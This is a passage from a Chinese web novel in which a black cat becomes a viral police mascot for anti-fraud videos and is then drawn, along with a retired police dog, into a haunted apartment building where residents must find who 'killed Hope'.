“真感人啊。”青年心驰神往,“我也好想遇到一个能挖穿地球,力能降龙伏虎的姑娘。” “你们单位这种姑娘应该很多吧。” “我们单位?”夏炫警觉:“什么我们单位?” 张云帆乐呵呵地打开短视频,翻了翻收藏夹,在一堆猫咪中翻到自己想要的,递给夏炫。 视频是赵铮铮顶猫在街上走的场景。赵铮铮穿着治安局制服,小黑猫雄赳赳地坐在她的肩膀,头上同样戴着一顶小帽子,高高昂起头。 视频点赞破五十万了,配上激情bgm,像极了特种兵出战。 但其实就是上次他们带小咪去疗养院调查。 下面有几千条评论。 “啊啊啊是猫猫警长,太好了,我们人类终于有救了!” “路遇猫猫警长,被可爱击晕,拼尽全力无法战胜!” “是猫sir,猫sir!太帅了猫sir,想拿麻袋把阿sir偷走。不会被当做袭警吧?” “请猫sir,辨忠奸。” …… 夏炫看乐了,揉了揉小咪的头,“咪姐现在也成网红了。” 小咪依旧盘着,假装睡觉,只是尾巴甩了下,耳朵抖动。 夏炫摸着猫头,不由骄傲,治安局官号里费劲心思拍的防诈视频,还没他咪姐露个脸流量高呢。咪也不是治安局的,是他们古神话研究所的所猫! 但老两口显然把他当成在治安局工作。 夏炫转念一想,这样也好,带猫出去的理由就更充分了。 “我们福娃现在也是只有编制的猫了。”张云帆可太欣慰了,一起练太极剑的老头总拿儿子有编制来炫耀,恁烦。现在好了,他家福娃也有编制,还不用考试。 小咪轻轻咬了下爷爷的手指。编制是什么?可以吃吗? 这则视频爆火,让赵铮铮有点坐不住了。 随着短视频兴起,各地治安局开设了官号,开始做普法宣传。红竹市也不例外。 或许是他们的视频拍得比较正式,流量一直平平,只有同事们会点一下赞。最开始大家是认真弄了这个号的,后来发现再怎么努力,也没什么人看,就认命躺平了。 可是最近其他城市的治安局连出狠招,有做个猫meme视频然后火的,有拍成沙雕搞笑短剧爆火,一边普法一边当连续剧拍的。他们局的领导坐不住了,一拍板,让他们也跟着学,把新媒体号流量做起来,每个月还给他们下达了指标。 怎么办,只能硬着头皮学人家拍小剧场呗。 赵铮铮都舍了脸演匪徒了,戴上个纸盒子头套是她最后的底线,但就算这样,也没人看。没想到他们辛辛苦苦精心筹备的小剧场没人看,路人随手一拍的视频,居然就水灵灵爆了。 眼看就要达不成指标,赵铮铮看着几十万的赞,羡慕得眼睛都绿了。 “不对劲,怎么我们拍的就死活火不了呢?”赵铮铮搓着掌心,思考,“要不要蹭一下这个热度?” 吉祥:“因为我们拍的视频里面没有猫猫呀。” “很明显,”另外一位治安员走来,“我们被猫sir带飞了。队长。” 吉祥也眼巴巴地望着她,“队长,我们也想要咪咪。” 赵铮铮:…… 好吧,反正求研究所也不是一次两次了。 她拿起手机,酝酿一下情绪,打通萧向秦的手机,“哥,有事商量一下?这次和灵异无关。” 几分钟后,萧向秦的电话又打到夏炫这里。 “哎,队长,有什么任务吗?”夏炫正在陪小咪玩逗猫棒,有一搭没一搭甩亮片虫子。小咪也很给面子,就算人不走心地在陪玩,它也自娱自乐玩得很开心。 “借调去治安局,我吗?成啊,不过我可不抓犯罪。” “不需要抓,配合露脸拍个宣传视频就成。”夏炫突然有点不好意思了,“也不是不成,就是咱露脸是不是不太好?要不要请示所长?不过赵队咋会点名要我去呢,她觉得我长得比较帅哈哈……啥?” 萧向秦:“……不是你。也不是人。” 夏炫表情微变,看向自己脚边。 小咪站起来,前爪张开,猛地往前一扑一跳,咬住玩具蜻蜓。只要给它一个玩具,它可以自己陪自己玩一整天。 察觉到人的视线,小咪抬起脸,歪头,“喵?” 它用爪子拨弄蜻蜓,“喵!” 人,快陪猫玩,快点来伺候猫。 它理直气壮地叫一声,见人不识抬举,继续低着头,用爪爪把蜻蜓拍飞,再扑跳起来咬住它。小猫跳起来,全身蓬松的毛抖了抖,让夏炫的心也萌得一抖。 小猫,可爱! 他扭头就和两位老师说了这件事,毕竟征用人家的猫,要得到他们的同意。 薛芦花马上就答应了,张云帆却提出了一个条件,“能让他们来接福娃不?” “当然可以。” 这本来就是应该的,这么远的路,总不能让小猫咪跑过去。 夏炫:“那我让赵队他们开车过来?” 张云帆摇头,“别开车到这里,去红心公园。我马上骑电瓶带福娃去那边。” 夏炫没明白他的意思,搞不懂治安局过来一趟的事,为什么还要绕一个大圈。薛芦花马上猜中老伴的心思,没好气地骂道:“显得你。” 张云帆笑呵呵,打开门,拿起太极剑,“福娃,今天陪爷爷去逛公园好不好?” “喵!”小咪主动往门外跑。 电动车前面有个小篓子,小咪轻轻一跳,自觉把自己装在篓子里,爪子挠几下铁丝。张云帆戴好头盔,一看它这么自觉,摸摸它的头,“乖乖坐在里面,不要跳出来。” 小咪应一声,脑袋搁在篓子里,迎面的暖风吹动它的长毛。 路过的小孩羡慕地说:“妈妈,爷爷的车上有只可爱的猫猫!” 红心公园是嘉木新村附近一个大公园,也是老年人活动中心。这边一队跳广场舞的,那边一队唱歌的,左边一列打太极的,右边一群下象棋的。 小咪第一次来公园,跟在爷爷的身边,好奇地四下张望。 “汪汪汪!”它又听见熟悉的叫声,扭头一看,叫静静的哈士奇咧着嘴朝它傻笑。 “汪汪汪。” 香小猫,香小猫。 张云帆生怕自己家猫被吓到,咻咻几声,很有气势地往前一踏步,驱赶哈士奇,“坏狗,别过来。” 静静吓得往后一跳,眼珠子转来转去偷瞟人的脸色,呜呜叫着把大脑袋塞进主人的怀里。 它的主人恰好和张云帆认识。老头子叫余,帮儿子出来溜大狗。 余老头看见他,笑道:“这不是张哥吗,最近张哥都忙,不和我们这些老家伙打太极了,”不等张云帆回话,他扭头和其他几个老伙计说:“哎,我也忙,每天都要出来遛狗,那么大一个狗子,跑起来快把我给扯飞,没办法嘛,孩子喜欢,谁让他现在考上公务员了呢,孩子太优秀,真是让人头疼。” 张云帆搞不懂,遛狗和公务员有什么关系,他挤进老友圈,边留心着自己小猫,边听余老头继续吹嘘儿子。 小咪乖乖蹲在爷爷的脚边,一点都不害怕。旁边的静静身体贴着地,脑袋搭在爪子中间,像巨型毛毛虫一样一点点挪动,挪到猫的面前,清澈的蓝眼睛呆呆看着它。 “汪。”它小声叫。 小咪拿肉垫轻轻按在哈士奇的鼻子上,哈士奇马上咧开嘴,闻一口它身上的小猫味,哈喇子流了一地。 小咪放下爪子,哈士奇耳朵后贴,见它不打自己,小心翼翼靠过来,湿润的粉红鼻子在猫的身上嗅。 小咪又抬起爪子。 哈士奇马上趴地,在地上打了个滚,谄媚地对猫露出自己肚皮,尾巴晃来晃去。 小咪和狗玩了一会,让狗学会三种手势。当它把爪子往上扬时,静静会趴在地上,当它把爪子往下压,静静会露出肚皮,当它尾巴点了点地面,静静会在地上转三圈。 小咪训狗成功,蹭蹭它的鼻子,“喵呜。” 好狗。 静静兴奋地仰天长啸,马上被自己家主人给呵斥了。 这时候,治安车停在公园门口,几个治安局制服的人朝他们走过来。 老年人总爱看热闹,见治安官来到红心公园,马上停下了活动,开始小声议论。 “怎么会有治安员来呀?” “走最前面的姑娘我听我二舅的三闺女的四婶子说过,治安局的赵队,厉害着呢,听说她不是死人的案不管。” “不得了,不得了,不会是咱们中来了逃犯吧。” 太极老年团见着治安官步步逼近,为首的女人英姿飒爽,气势逼人,他们不由也慌张了起来。 张云帆弯起嘴角,抱起在脚边训狗的小黑猫,“不用怕,治安局是来找我的。” “张哥,”其他人大惊失色,“你犯什么事要进局子啦?” 张云帆举起小咪,“是我家福娃,长得太可爱被治安局看上了,也得了一个编制,还不用考试呢。”他苦恼地叹口气,“其实我也没想让它考编的,有时候,孩子太优秀,真是让人头疼。” 第52章 小咪坐在警车后座, 被两位治安员挤在中心。 偶有路人路过时悄悄往窗里看,以为里面装的是什么穷凶极恶的罪犯。 左边的治安员是吉祥,她一看见小咪,就从兜里掏出把小梳子,把猫从头梳到尾。小咪礼貌性地打个招呼,躺在车上,头枕在吉祥的大腿上,后爪抵着另外一位治安官的腿。 他叫李小明,和吉祥一样,也是赵铮铮带的新人。 小咪被人摸着,昏昏欲睡,突然感觉有只手在捏猫的大腿根。捏着捏着,那只手从它两腿间往上摸,揉它的原始袋。 小咪用后爪把手蹬开。人, 请对猫尊重一点! 那只手老实了不到半分钟,又悄无声息地伸过来, 还在它屁股上摸了一把。 李小明正在沉浸式摸猫,突然感觉头皮发麻,一抬头,躺平的黑猫抬起头,在给猫梳毛的女孩也掀起眼帘,两道视线一起看过来。 “你的手放在哪里?”吉祥拿梳子一拍, 把他赶走, “不要乱摸, 我们小咪还是黄花大闺女呢。” 小咪:“喵。” 李小明讪讪把手缩回来,小声说:“摸一下又怎么啦。闪电最喜欢让我摸了。” 闪电是治安局门前的的那条大黑背,忠诚、勇猛、帅气, 本来它是条特种犬,立过几次功,在一次任务里,闪电为保护人受了重伤,只能截肢退役,来治安局过退休生活。 李小明喜欢闪电,经常给它带大鸡腿。 车停后,李小明还没下车,猫就从他身上跳过去,熟练地跳到地上。 小咪东闻闻,西嗅嗅,谨慎打量新来的地方。 治安局前有几层台阶,一只黑背犬趴在地上,一动不动晒着太阳,看见小猫慢慢从台阶探出脑袋,也没有动弹。 “糟了。”李小明的心悬了起来,“闪电不会咬猫吧?” 闪电是一只受过训练的防爆犬,能瞬间扑倒一个一米八的壮汉。李小明看见小猫不知死活地想挑战闪电,吓得倒吸一口凉气。 他飞快跑过去,勒令:“闪电,不要咬咪咪。” 闪电尾巴甩一下,继续趴着,表情恹恹的,橘黄色的眼睛瞥向地面。在地上,猫的影子歪了歪头。 小咪围绕闪电一圈,这条狗不像她见过的其他狗那么讨厌,就知道烦猫,反而显得很安静,安静得过分了。转到它的身后,看着那条轻轻晃动的大尾巴,小咪忍不住往前一扑。 闪电感受到猫的骚扰,依旧无精打采地躺着,只是尾巴摇到另外一边。 小咪忍不住又扑了上去。 闪电的尾巴摇得越来越快,小咪也跟着尾巴左右横跳。哪只猫能拒绝一条摇得这么快的大尾巴? 闪电忍无可忍,扭过头,朝小黑猫呲了下牙。 小咪一点也不怕它,坐得笔直,还想把爪子在它鼻子上按一下。 它们之间的打斗很快就被人类终止了。李小明拿出个防咬嘴套给闪电戴上,大黑背的嘴筒子被漆黑金属盖住,脖子上也多了根银色的链子。 闪电没有反抗,戴着防咬嘴套,系上牵引绳,对它而言是件很熟悉的事。 李小明有点舍不得给大黑背戴这些禁锢,但没办法,这条训练有素的特种犬如果被小猫骚扰烦了,咬断猫的脖子也就一口的事。他们冒不起这种风险。 脖子传来热气,他偏头,对上黑背的眼神。 狗子看着人,坐得笔直,一改往日没什么精神的模样,湿漉漉的黄色眼睛带着一丝期望。 它期望再跟着自己出去执行任务吗? 李小明心里闪过这个念头,目光无意识下瞟,看向黑背被截断的前肢。 黑背也意识到什么,慢慢低下头,继续趴在地上。 小咪继续拿它的尾巴当逗猫棒玩,它没再有什么反应。小咪在大狗背上打了个滚,跑到它面前,歪头看着狗。 黑背眼睛下垂,从它湿漉的眼神里,猫竟然看出一丝忧郁。 “喵。”小咪蹭蹭它的嘴套,试图给大狗安慰。 “咔咔咔!” 人拿着相机狂拍,“猫猫快看过来。” 小咪把头扭过去,很有镜头感地瞪圆了眼睛。 “咪咪真是太可爱了!”吉祥怎么拍都拍不够。 闪电却把头转到了另外一边,好像与这些热闹喧嚣没有关系。 吉祥把给小猫拍的照片处理一下,本来想发出去的,又觉得少了点什么。 少了什么呢? “赵队,我们没有给猫猫准备制服和帽子吗?” 赵铮铮一拍脑袋,“对哦,是要给它准备制服,毕竟是咱们局里的形象大使了。” 但猫猫制服的尺寸要订制,一时半会做不出来。正犯难时,小猫叼着自己的帽子,翘起尾巴跑过来。 “喵——” 猫自备了帽子。 吉祥瞪大眼睛,“猫猫是从哪里拿来的帽子?” 他们接猫的时候,小猫身上明明什么都没有带啊,它怎么突然就咬过来一顶帽子了? 赵铮铮倒是心大,捡起帽子,往小猫的脑袋上一扣。 治安局的制服和研究所制服很像,尤其是缩小这么多倍后,肉眼几乎看不出差别。 “先这样凑合凑合吧。”她满意点头,“很好,很精神。咪咪,立正!” 小咪看她。 “稍息!” 小咪耳朵一抖,开始舔自己的爪爪。 赵铮铮笑了下,意识到让猫跟狗一样听指令是不可能的事情。就算咪咪很聪明,能听懂她的话,也不乐意听从。 猫不乐意,这就是顶大的事情了。 “不过还是得再给咪咪做一身制服,毕竟进了咱们局,就是咱们的猫了。”她对吉祥说:“可不是研究所的所猫。” 吉祥用力点头,“太好了队长,咱们终于没有没有猫的野人了!” 吉祥把小猫带帽子的照片发到号上,又加上几张它摆pose的照片,配字“黑猫警长来噜。” 刚发出没一会,后台的小红点就蹭蹭开始涨,一个图文的点击就比之前所有视频播放量加起来都多。 “看来我们真是被猫猫警长带飞啦。”吉祥看着飞来蹿去的猫,猫一会跳到空调上,一会跳上柜子,仿佛一团黑云在房间乱飞,兴致盎然地探索新地盘,“猫猫警长真是太牛了,居然还能cos蜘蛛侠呢。” “不对,应该是蝙蝠侠。”李小明插嘴。 吉祥弯起嘴角,终于不是没猫的野人,她的心情相当美妙,“不过时间紧迫,给猫猫拍点什么呢?” 毕竟他们的任务不是摸猫,而是拍普法视频。 考虑到猫的服从性不高,小猫脑袋也装不下太多东西,完不成太复杂的剧本,吉祥决定,就用一个很简单的剧本,只要小猫出镜叫几声就好。 “咪咪,哎,咪咪呢?” “喵。”猫在头顶回应她。 人抬头一看,一时哑然失笑。小咪不知道什么时候顺着窗帘爬到窗帘杆上,悠闲趴在两根杆子的中间,小肚子被杆子挤得往下垂,让人很想捏捏那的肉。 “你怎么爬上去的,太牛了。”李小明搬来条凳子,准备上去把它抱下来,还没碰到猫,小咪就从容地跳到了桌子上,抬头看着他。 “我怎么觉得我被猫鄙视了?”李小明挠下头。 “喵。”小咪胡须微颤,并没有掩饰这点。 “得,真被鄙视了。”李明跳下凳子,“以前组织比武,我可是全市季军呢,居然被一只小猫鄙视。” 他甚至没有反驳的理由。 猫会飞檐走壁,顺着窗帘蹭蹭爬到天花板,这他真不会。 “咪咪,我们来拍摄啦。”吉祥揉揉小猫的头,晃了晃一罐肉干,“好好配合,拍完后有奖励哦。” “喵!” 小咪马上乖巧坐好。 桌子上放着几个以前拍视频做的牌子,分别写着【电话诈骗】【网络陷阱】【假冒客服】之类的常见诈骗类型。小咪只需要像黑喵大老爷一样坐在桌子上,一个个把它们都扫下桌子,制造出拒绝诈骗的效果就好了。 但小咪觉得这样太简单,配不上一罐肉干,为了不让人类吃亏,每扫下一个诈骗牌子,它都会加个配音:“嗷呜——” 感情充沛,字正腔圆,就像在大声说“NO”。 “电话诈骗。” “嗷呜——” “网络陷阱。” “嗷呜——” “假冒客服。” “嗷呜——” 李小明乐了,“咪咪还会配音。” “猫猫警长说得对。”吉祥微笑着给视频配字:“三不一多要牢记(不轻信/不转账/不透露/多核实),猫sir教你防诈骗!” 而猫sir已经叼着一块肉干,跑出了办公室。 “这小猫,怕我们偷吃它的东西吗?还要跑出去吃,”李小明嗅了嗅,“不过这肉干好香啊,怎么宠物肉干做的比猪肉脯还香,我想……” 赵铮铮一巴掌把他的手拍开,“跟小猫抢食,真有你的。” 李小明讪讪缩回手,“哎,那我出去买包肉脯行了吧,你们想吃什么零食不?”他走到大厅,停下脚步,喃喃:“原来猫猫不是要躲起来吃东西哦。” 在治安局的门口,闪电无精打采怂耷着耳朵趴着。 自从截肢退役后,它总是郁郁寡欢,不太开心。不过在今天,黑背的旁边多了一只小黑猫。 小猫用爪子把肉干撕成条,试图把它送进黑背的嘴筒里。 黑背把头又扭了一个方向。 小猫跳到另外一边,锲而不舍地投喂它,几次后,它终于张开嘴,咬住了肉干。 小咪得寸进尺,躺在大黑背宽阔的胸口,而黑背只好把头仰起一点,怕压到这只无法无天的小猫。 李小明嘴角往上扬了扬。 他很少看见闪电与外界互动,心里想着,等会多买两个鸡腿。出治安局,他径直往旁边的便利店走,余光瞥见树荫下站着两个人。 一个是中年人,脸色很白,眼神涣散;另一个站在阴影里,也许是角度关系,他看不见对方的长相。 是来求助的群众吗? 李小明好奇地想。 这时,那中年人迈动步伐,动作僵硬地走向治安局。他一步步靠近,本来在晒太阳的德牧,眼神瞬间变化,站了起来。 因为上肢被截断,站起来时,它稍稍趔趄一下,但又马上站好,紧盯着男人,喉咙里发出警告的嘶吼。 小咪也看着男人,闻见他身上散发出的血腥味,除了腥气,还有一丝奇怪的味道。 像暗世界的味道。 闪电猛地往前,让那个男人乱了心神。 他吓得后退,一个踩空,跌坐在地上,盯着门口的大狗,嘴里反复练习的话提前脱口而出,“我来、我来自首!我来自首!我杀死了希望!” 第53章 小咪察觉到暗世界的气息猛地变浓。 四周一黑, 等环境重新变得明亮时,她已经不在治安局门口。 她正在一间客厅里,四周一切都变得很小。 小咪唔了声, 从沙发站起来。本来能让猫打滚的沙发,也变得狭窄短小,只能让她坐在上面。 坐? 小咪低头看自己的两只手,才知道现在变成了人类的形态。右手上缠着一根链条,顺着链条往前,她看见一个男人。 男人身材魁伟,肌肉如雕,左臂残缺。 小咪悄无声息踏出一步,他的耳朵敏锐地动了下,迅速扭过头,下半张脸被黑色嘴套掩住,仿佛带着张金属织成的面具,锋利的视线从碎发下射出。 他的动作同样迅速, 飞快朝猫扑来, 像一道迅捷闪电。 “闪电, 坐下。” 他的耳朵微动,身体本能比理智更快,反应过来时,人已经蹲坐在地上,仰头看着女孩。 小咪手里提着条链子,链子系在男人的喉咙上。 不止猫变成了人类, 狗也变成了人类。 小咪走到他面前,把他额头的碎发往上拢,学着人类,摸了摸他的头。 “好狗。” 闪电:…… 他轻轻扭了过脸。 小咪在房间里找了一圈,这是一间一室一厅的房间,家具陈旧,布满灰尘。 墙上挂着一个圆形的表。 小咪把门打开条缝隙,往外面看,闪电被她拽着链子,跟在她身后,脑袋搁在猫的头顶,与她一起观察门外。 对面是一扇防盗门,门上挂着门牌号【 401 】。 小咪在房间门牌号【402】,在401号房和402号房之中,还有一扇门,是400。 猫和狗的耳朵同时抖了一抖。 他们都听见楼下传来吵闹声。没有想太多,小咪抓着狗链子,走出房间,顺着楼梯往下走。 这栋居民楼是声控灯,楼下的声音忽大忽小,灯光也随之闪烁。暖黄的光填满老旧的楼梯,刷红漆的铁扶手锈迹斑驳,布满灰尘,在惨白的墙壁上,每走一楼,都用血红的大字写着几个字—— 谁杀死了希望? 谁杀死了希望? 谁杀死了希望? “希望踏马的是什么东西啊?搞意识流是吧?” 说话的是个染着一撮黄毛的小伙子,他正用力在踹锁上的大门,每踹一下,铁门晃动发出一声巨响,惨淡的声控灯从下往上,一层层被点亮。 “小伙子别急,我看我们是遇到灵异事件了。”另外一个年纪稍长的男人劝说:“先别冲动。” “你谁啊?”黄毛生气地瞪他,一肚子火找了个可以发泄的地方,“老登,是不是你把我搞到这里的?你想干什么?搞传销?” “我们都是被传送到这栋楼里的。”站在角落的女人开口。她提着手提包,打扮正式,和那位成熟的男人点点头打招呼,“我叫葛红侠,从202号房间醒来。这是和我一起的同伴。” 她旁边年轻些的女孩低着头,紧张地咬了咬下唇,“莫若雨。” “102号房,崔明远。”被骂作“老登”男人也报出姓名。 他们开了个头,其他人陆陆续续进行自我介绍。 302号房间的是一位脸色苍白的年轻人,与他一起的是个女孩,两个人好像是兄妹关系。男孩叫夏鲸鱼,女孩叫夏甜罗。 踹门的黄毛是从502走下来的,没说自己的真实名字,报了个外号,“狼哥。” “小狼是吧。”崔明远笑着说:“那还有402房间的人没下来。” “谁是小狼,老东西,你不要命了敢这么喊我!”黄毛怒气冲冲,揽起袖子。 崔明远连忙后退,低头认错,“别生气,大家应该齐心协力,一起想办法出去嘛。” 黄毛冷哼:“我看你们是个传销团伙,还不知道我的身份吧,等着,出去了我喊我虎哥带人来剿了你们。”他手里拔出个弹簧刀,朝几个人舞了两下,继续用力踹门。 铁门破破烂烂的,被用力踢几次,居然真的打开了。 门外笼罩着浓雾,雾气血红,弥漫着不祥。红色的月光在地面流淌,似鲜血一样。 人们愣住了。 黄毛壮起胆子探出脑袋往外看一眼,“血月啊。这又是什么天文现象?还是你们搞出的障眼法?” “不要出去。”楼梯上传来提醒的声音。 是道空灵的女声,字正腔圆,语句缓慢,像极AI语音播报。 众人循声抬头看,微微一怔。 少女站在楼梯拐角,静静看着他们。 她的眼睛钝而圆,在昏暗中闪烁微光。 随着声控灯在头顶亮起,他们也看清女孩,她手上抓的链子,以及站在她身后,脖带颈圈、下半张脸被防咬嘴套裹住,身材高大的男人。 夏甜罗瞪大眼睛,小声对夏鲸鱼说:“我去,这是什么play 。” 夏鲸鱼:“不确定,再看看。” 崔明远表情古怪,但还是挤出笑容,“你们是402的房客?” 小咪点头,眼睛凝视着门外,警告黄毛,“红色月光,很危险。” 黄毛:“不要你以为长得可爱就能为所欲为,你们这群人太奇怪了,还戴面罩,神经病啊。”他不听劝阻,大步越过单元门,刚走到月光下,就停下了脚步。 “怎么了年轻人……”崔明远话没说完,呆愣原地。 黄毛的身体在溶解,不到一秒钟,变成一滩血和骨头的混合物。而他甚至连声惨叫都没来得及发出。 当双腿融化,他的脑袋掉在地上,转几个圈后,滚回了单元楼。 这时他好像才反应过来,目光惊恐,眼睛瞪得比铜铃还大,张大了嘴巴。 “啊啊啊啊!” 崔明远恰好和人头对视,吓得跌坐在地上,双腿发软,往楼梯口爬。 其他人发出惨叫,出于求生本能,飞快爬上楼梯,跑到了二楼。 小咪感觉手里链子绷紧,她偏过脸,见男人肌肉紧绷,蓄势待发,想逆着人流往下面走。在黄毛走入月光被溶解时,闪电就想跑出去救人,但被小咪用链子拉住了。 猫不像狗,并没有什么牺牲精神。 这时小咪也想去下面探查一下,于是走下楼梯。外面的血腥味浓烈,黄毛的人头就卡在门缝间,惨白的脸正对着他们。 闪电低垂下脸。 小咪感觉到他身上低落的情绪,问:“你不开心吗?” 闪电脸上带着嘴套,没有办法说话,就算摘下面罩,他也说不了人话。 于是小咪继续问:“他给你交了保护费吗?没有交保护费,为什么要不开心?” 闪电垂下眼睛,他的睫毛很长,眼珠子湿漉忧郁,与黑背一模一样。 小咪牵着自己的狗,安慰:“大家都会死的。” 猫会死,狗会死,人也会死。 狗好奇怪,居然会为自己领地之外、素不相识的人死而难过。她摸了摸闪电的脸,学着人哄:“乖狗。” 哄好狗子,小咪目光在一楼转了一圈。这里是个老式楼梯间,楼梯旁堆着一堆煤,和几台堆满灰尘的自行车,在墙壁上方挂着电表,门口位置墙壁上有面大黑板,黑板上同样写着“ _____杀死了希望?” 黑板下有个小篓子,里面装着很多号码。 小咪翻了翻,号码都是他们的门牌号,门牌号反面贴有磁性贴,可以贴在黑板上。 【杀死了希望】这几个字也是用特殊材质做成的字体,被贴在黑板,外面还用白色标记笔描线强调。 想到走下来时,在每层楼都看见的【谁杀死了希望】,小咪陷入沉思,这个鬼域是想让他们找出杀死希望的凶手吗? 手里的链子微晃,闪电摇了摇头,嘴巴微张,小小“汪”了声。 小咪知道他的意思,“喵也听见了。” 那个男人来治安局门口,说他来自首,罪行是他杀死了希望。要揪出那个凶手,他们才能出去? 小咪想得脑袋痒痒的,想抬起后腿挠下巴,腿却没办法像从前那样抬高。 只好换种办法,用手挠了下脸颊。 当人还是太不方便了,她轻轻叹口气。 “为什么猫会变成人呢?”小咪看眼旁边的大狗,陷入沉思。 如果说猫有影子,才会变成人,那狗子为什么也跟着当人了。这是这次鬼域的要求之一吗? 猫本体变成人,影子会不会变成猫? 逃到二楼的几个人探出脑袋,心有戚戚地往下面望。 “妹子,下面危险,要不你上来吧?”崔明远好心喊。 小咪:“没有危险了。只有个死人头。” 她走到人头旁,把人头踢到旁边,往外面望去。没有人头卡主,铁门自动往回弹,发出长长吱呀的声音。 在楼栋前方,有一片暗色的区域,没有被月光照耀。 乍一眼看过去,像是这栋居民楼的影子。但小咪知道,这应该是属于这栋鬼域的范围。 她推开门往外走,手里的链子突然绷紧,一回头,闪电在门后,不赞成地看着她。 “没关系。”小咪知道,狗在给自己示警,说外面危险,“我知道分寸。” 她顺手把狗链子栅在门把手上,踮起脚尖,男人也配合地低下头,让她拍了拍脑袋,“乖狗。” 小咪推门走出去,身体贴着墙根。 居民楼的影子在变化,虽然这种变化并不显眼,但她还是注意到,月光与阴影的分界线在慢慢往回推,让猫的探索区域变得越来越小。 得抓紧时间。 黄毛融化的血水在前面,散发浓烈血腥味,但还有另外一股血腥味往小咪的鼻子里钻。 她深吸几口气,想找出血腥气来源的方向。 身后的链子晃动,小咪回头看,狗子努力想解开她系的结,但结不开,只能给她微微偏头,指引方向——左边。 小咪往左边走,没多远,就找到血腥来源。 在地面上还有一滩暗红,血渍早已凝固发黑,上面铺满灰尘泥土,却仍旧弥漫着一股不祥的气息。 她抬头往上看。 在楼顶,有一个惨白的人影面无表情地看着她。 稍倾,那人翻过楼顶,蜘蛛一样,从楼顶爬下来,离得近一点,小咪能看见它的脑袋凹陷了一块,红的白的在头骨碎块里晃动。 小咪迅速跑回了楼栋里,关上铁门。 下一秒。 “砰!” 铁门被重重撞开一条缝隙,从缝中伸出双惨白的手。 “快来抵住门!”崔明远大步跑下来,用肩膀抵住门,大声对其他人喊。另外几人如梦初醒,马上跑下来,一起挡着门。 “砰砰砰!!!” 缝隙里伸出的手五指扭曲,指甲不停往下滴血,指关节像被折断的树枝,露从血肉里翻出森然的白骨。手指努力想抓着什么,在抓不到后,又缩了回去,门后的撞击也戛然而止。 “他离开了吗?”崔明远壮起胆子,趴下来,从底下门缝往下看。 他对上了一双眼睛。 很奇怪,那个东西的眼睛对着缝隙,眉毛在眼睛的下面。 崔明远脑袋空白一瞬。 它倒立着,颅骨凹陷,就这样用眼睛冷冷与他对视。 “砰!” 又是猛地一撞,几个人本来以为怪物离开分了神,差点就让它给撞开了,连铁门上被撞得凹陷。 这一次猛烈撞击后,隔了一会,才响起类似皮球拍动的“咚咚”声。 小咪侧耳认真听,“它应该走了。” 几个人这才松口气,脸色苍白,脸上的布满了冷汗。崔明远受的刺激更大,跌坐在地上,双腿发软。夏鲸鱼好心来拉他起来,却发现怎么拉都拉不起他。 “草,刚刚到底是什么鬼东西!”夏鲸鱼心脏砰砰跳动,擦了擦脸上的汗。 “就是鬼东西吧……”夏甜罗声音很轻,生怕又惊动外面的东西。 “妹妹,”唯一还能保持镇定的女人看向小咪,“我叫葛红侠,你呢?” 小咪:“……吴喵。” 她注意到葛红侠的视线又落在身后的狗子身上,牵紧了手里的链子,“它是我的狗。” 夏甜罗怕得要死,但看见这幕,还是忍不住小声和哥哥吐槽,“哇哦,帅哥好酷哦,原来是甜妹训狗的play哦。刺激刺激!” 夏鲸鱼无奈叹气,走到她身边,把她拉在自己后面一点。 葛红侠目光瞥过众人,担当起领导者的角色,说:“现在我们都被困在这栋房子里了。下楼的时候,你们看见楼梯墙壁上的字了吗?” 夏甜罗点头,“我们从三楼下来,每一层都有一句,谁杀死了希望。” 葛红侠指着黑板,“这里也有一句话, _______杀死了希望。这是让我们填空吗?这下面是……”她翻了翻篓子,“门牌号,可以贴在黑板上。” “这栋楼里有一个杀人犯,我们要找出他,把他的门牌号填在空缺的地方,才能够破开谜题出去。” 这是她的初步推论。 其他人纷纷点头,都认可这种看法,毕竟这是最显而易见的结论。 “外面的东西就是死掉的希望,我们帮他找到凶手,他应该就不会对我们做什么了。” 夏甜罗:“可是,血红色的月光也很危险。” 葛红侠:“刚刚小喵妹妹出去一趟,也安全回来了嘛,应该有出去的办法。” 小咪点头,“到时候会出现一扇门,推开门,就能回到现实的世界。” “但是希望,谁会叫希望这个名字?”夏鲸鱼小声吐槽,“太怪了吧。” 葛红侠:“小名、外号,这些都有可能。崔大哥,你还好吗?” 崔明远慢慢点了下头,扶起栏杆,站了起来,腿还是有点发软。 “刚刚你看到了什么?” 一说到这个,崔明远腿又软了,要不是夏鲸鱼扶住,差点一屁股又坐地上。 “那个东西,脑袋凹进去,倒立着,就从门缝底下看着我!” 大家想象那副画面,突然觉得温度冷了好几度,后背蹿上股凉气。夏鲸鱼和夏甜罗贴近一点,莫若雨坐在台阶,抱着双臂发抖。 葛红侠脸色还是发白,努力镇定下来,安慰大家,“不用怕,它被拦在了外面,再说,我们也不是杀他的凶手,他应该不会找上我们。” 小咪摇头,“不一定。” 其他人都看向了她。葛红侠眯了眯眼,“为什么这样说,你不要制造恐慌。” 小咪面无表情,“在篮子里,也有我们的门牌号。” 空缺处是留给凶手的。他们的门牌号同样可以被填在空缺,说明,说不定他们也被当成了嫌疑犯。也因为402号房房客同样是【嫌疑犯】的身份,猫狗是不可能杀死希望的,她和狗子才会变成人,被列入恶鬼寻仇的名单中。 “怎么可能!我们从来没有来过这鬼地方,怎么会杀人?”夏鲸鱼气得挠乱自己的发型,“这鬼东西不讲道理啊!” 但是,鬼东西为什么会讲道理呢? 众人沉默了下来。 小咪耳朵动了动,她扭过脸,和闪电对视一眼。 猫放开链子,悄无声息踩上台阶,迅速又安静地来到101的门口。 那人马上想把门合上。 闪电也跟过来,脚别住门,一把抓住里面人的手。 “啊啊啊,你们干什么啊!!!”那人气得大喊,“再这样,我就要报警了啊。” 101的住户是个秃了三分之二,脑门一圈有稀疏白发的退休老头。 隔着一扇防盗门,他大声骂骂咧咧,骂得楼道的声控灯都亮了不少。 有防盗门在,外面的人进不来,可他的手被抓住,也没办法缩回去,就僵持在了这里。 “你报警啊!”葛红侠说:“那我们就在这等着你。” 说不定治安官们来了后,能带他们走出这个鬼地方。公家的人,阳气足,鬼不敢近,书上都是这样说的。 但那老头却没什么表示,继续说:“那我报警了啊!” 就像启动了倒带程序的npc一样,反复念这句台词,没有办法再推进一步。 小咪:“谁杀死了希望?” 其他人愕然看着她。 不是吧妹子,这么直接的嘛。 “希望?什么鬼希望?你以为自己是诗人啊。” 老头吹胡子瞪眼,“半夜跑到楼道里咋咋呼呼,还杀死希望。” 小咪:“你刚刚在看什么?” 